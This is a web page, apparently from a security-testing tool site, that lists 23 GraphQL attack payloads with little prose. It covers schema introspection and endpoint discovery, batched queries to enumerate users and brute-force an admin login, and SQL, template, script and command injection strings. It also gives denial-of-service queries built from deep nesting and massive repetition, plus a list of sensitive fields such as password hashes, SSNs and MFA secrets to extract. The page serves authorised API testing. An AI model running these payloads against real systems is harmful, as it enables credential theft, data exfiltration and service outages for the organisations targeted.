$loading...
GraphQL injection and exploitation payloads for testing GraphQL APIs — introspection, batching, injection, and DoS. (23 payloads)
{"query":"{__schema{types{name fields{name type{name kind ofType{name kind}}}}}}"}{"query":"{__schema{queryType{name} mutationType{name} subscriptionType{name}}}"}{"query":"{__schema{types{name kind description}}}"}{"query":"{__type(name:\"User\"){fields{name type{name} args{name type{name}}}}}"}{"query":"{__schema{directives{name description locations args{name}}}}"}{"query":"{__sch\\u0065ma{types{name}}}"}GET /graphql?query={__schema{types{name}}}{"query":"query IntrospectionQuery{__schema{types{name}}}","operationName":"IntrospectionQuery"}# Try alternative endpoints:
/graphql
/graphiql
/v1/graphql
/api/graphql
/query
/gql[{"query":"{ me { id } }"},{"query":"{ me { email } }"},{"query":"{ me { role } }"}]{"query":"{ a:user(id:1){email} b:user(id:2){email} c:user(id:3){email} d:user(id:4){email} }"}{"query":"{ a:login(u:\"admin\",p:\"pass1\"){token} b:login(u:\"admin\",p:\"pass2\"){token} c:login(u:\"admin\",p:\"pass3\"){token} }"}{"query":"{ user(id: \"1 OR 1=1--\") { id name email } }"}{"query":"{ search(query: \"{{7*7}}\") { results } }"}{"query":"{ user(name: \"admin' OR ''='\") { id } }"}{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id } }"}{"query":"mutation { createPost(content: \"; ls -la\") { id } }"}{"query":"{ a { a { a { a { a { a { a { a { a { a { id } } } } } } } } } } }"}{"query":"{ user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } user { id } }"}{"query":"{ users(first: 999999) { edges { node { posts(first: 999999) { edges { node { comments(first: 999999) { id } } } } } } } }"}# Common sensitive fields to query:
password, passwordHash, secret, token, apiKey,
ssn, creditCard, dob, internalNote, adminFlag,
role, permissions, isAdmin, isSuperuser, mfaSecret,
resetToken, verificationCode, privateKey{"query":"{ __type(name: \"User\") { fields { name isDeprecated deprecationReason } } }"}# Use field suggestion errors:
# Query a non-existent field → error message may suggest valid field names
{"query":"{ user { passwor } }"}Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides